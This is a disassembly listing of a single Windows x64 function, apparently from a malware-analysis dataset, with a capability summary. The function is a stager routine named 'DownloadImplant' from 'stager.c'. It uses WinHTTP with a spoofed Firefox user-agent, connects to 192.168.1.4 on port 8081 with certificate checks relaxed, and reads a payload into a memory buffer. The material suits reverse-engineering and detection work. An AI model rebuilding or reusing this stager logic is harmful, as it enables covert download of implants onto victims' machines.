Function at 0x407be0
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Reference http user-agent string

Disassembly:
push r15
xor r9d, r9d
xor r8d, r8d
push r14
mov edx, 1
push r13
push r12
push rbp
push rdi
mov rdi, rcx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:109.0__Gecko_20100101_Firefox_118.0
push rsi
push rbx
sub rsp, 0x58
mov dword [rsp + 0x20], 0
call sub.WINHTTP.dll_WinHttpOpen
test rax, rax
je 0x407f1b
mov rsi, qword [fcn.004079b0]
mov ecx, 2
lea rbx, str.DownloadImplant
mov r13, rax
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r9d, 0x92
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nWinHttpOpen_completed
call fcn.004080b0
xor r9d, r9d
mov r8d, 0x1f91
lea rdx, str.192.168.1.4
mov rcx, r13
call sub.WINHTTP.dll_WinHttpConnect
mov r14, rax
test rax, rax
je 0x407f13
mov ecx, 2
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r9d, 0xa0
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nWinHttpConnect_completed
call fcn.004080b0
mov dword [rsp + 0x30], 0x100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
lea rdx, [0x00423126]
mov rcx, r14
call sub.WINHTTP.dll_WinHttpOpenRequest
mov r12, rax
test rax, rax
je 0x407f06
mov ecx, 2
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r9d, 0xae
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nWinHttpOpenRequest_completed
call fcn.004080b0
mov r9d, 4
lea r8, [rsp + 0x40]
mov edx, 0x1f
mov rcx, r12
mov dword [rsp + 0x40], 0x3300
mov dword [rsp + 0x44], 4
call sub.WINHTTP.dll_WinHttpSetOption
test eax, eax
je 0x407ef9
mov ecx, 2
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r9d, 0xc2
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nWinHttpSetOption_completed
call fcn.004080b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call sub.WINHTTP.dll_WinHttpSendRequest
mov ecx, 2
mov edi, eax
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r9d, 0xcf
lea r8, str.._stager.c
lea rdx, str._s:_d:_s__:__nWinHttpSendRequest_completed
call fcn.004080b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2efd
je 0x407ef4
test edi, edi
je 0x407ef9
mov ecx, 2
call rsi
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, str._s:_d:_s__:__nWinHttpSendRequest_completed
mov r9d, 0xd8
lea r8, str.._stager.c
call fcn.004080b0
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x4c], 0
call sub.WINHTTP.dll_WinHttpReceiveResponse
test eax, eax
je 0x407ef9
lea rdi, [rsp + 0x44]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x4c]
xor r8d, r8d
mov edx, 0x20000013
mov rcx, r12
call sub.WINHTTP.dll_WinHttpQueryHeaders
xor esi, esi
lea rbp, [rsp + 0x48]
mov rdx, rdi
mov rcx, r12
mov dword [rsp + 0x44], 0
call sub.WINHTTP.dll_WinHttpQueryDataAvailable
test eax, eax
je 0x407ef4
mov edx, dword [rsp + 0x44]
lea rcx, str.Total_data_in_response:__ld_n
call fcn.004080e0
mov ebx, dword [rsp + 0x44]
test ebx, ebx
je 0x407ef9
inc rbx
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r15, rax
test rax, rax
je 0x407ef9
mov edx, ebx
mov rcx, rax
call fcn.00408090
mov r8d, dword [rsp + 0x44]
mov r9, rbp
mov rdx, r15
mov rcx, r12
call sub.WINHTTP.dll_WinHttpReadData
test eax, eax
je 0x407ee7
mov ecx, dword [rsp + 0x44]
movsxd rax, esi
xor edx, edx
mov esi, eax
cmp ecx, edx
jbe 0x407ed8
cmp eax, 0x199fe
jg 0x407ed8
mov r8b, byte [r15 + rdx]
lea rsi, [0x00409100]
mov byte [rsi + rax], r8b
inc rdx
inc rax
jmp 0x407eb4
mov rcx, r15
call sub.msvcrt.dll_free
cmp dword [rsp + 0x48], 0
je 0x407ef9
cmp dword [rsp + 0x44], 0
jne 0x407e40
jmp 0x407ef9
or eax, 0xffffffff
jmp 0x407f20
mov rcx, r12
call sub.WINHTTP.dll_WinHttpCloseHandle
test r14, r14
je 0x407f0e
mov rcx, r14
call sub.WINHTTP.dll_WinHttpCloseHandle
test r13, r13
je 0x407f1b
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
mov eax, 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret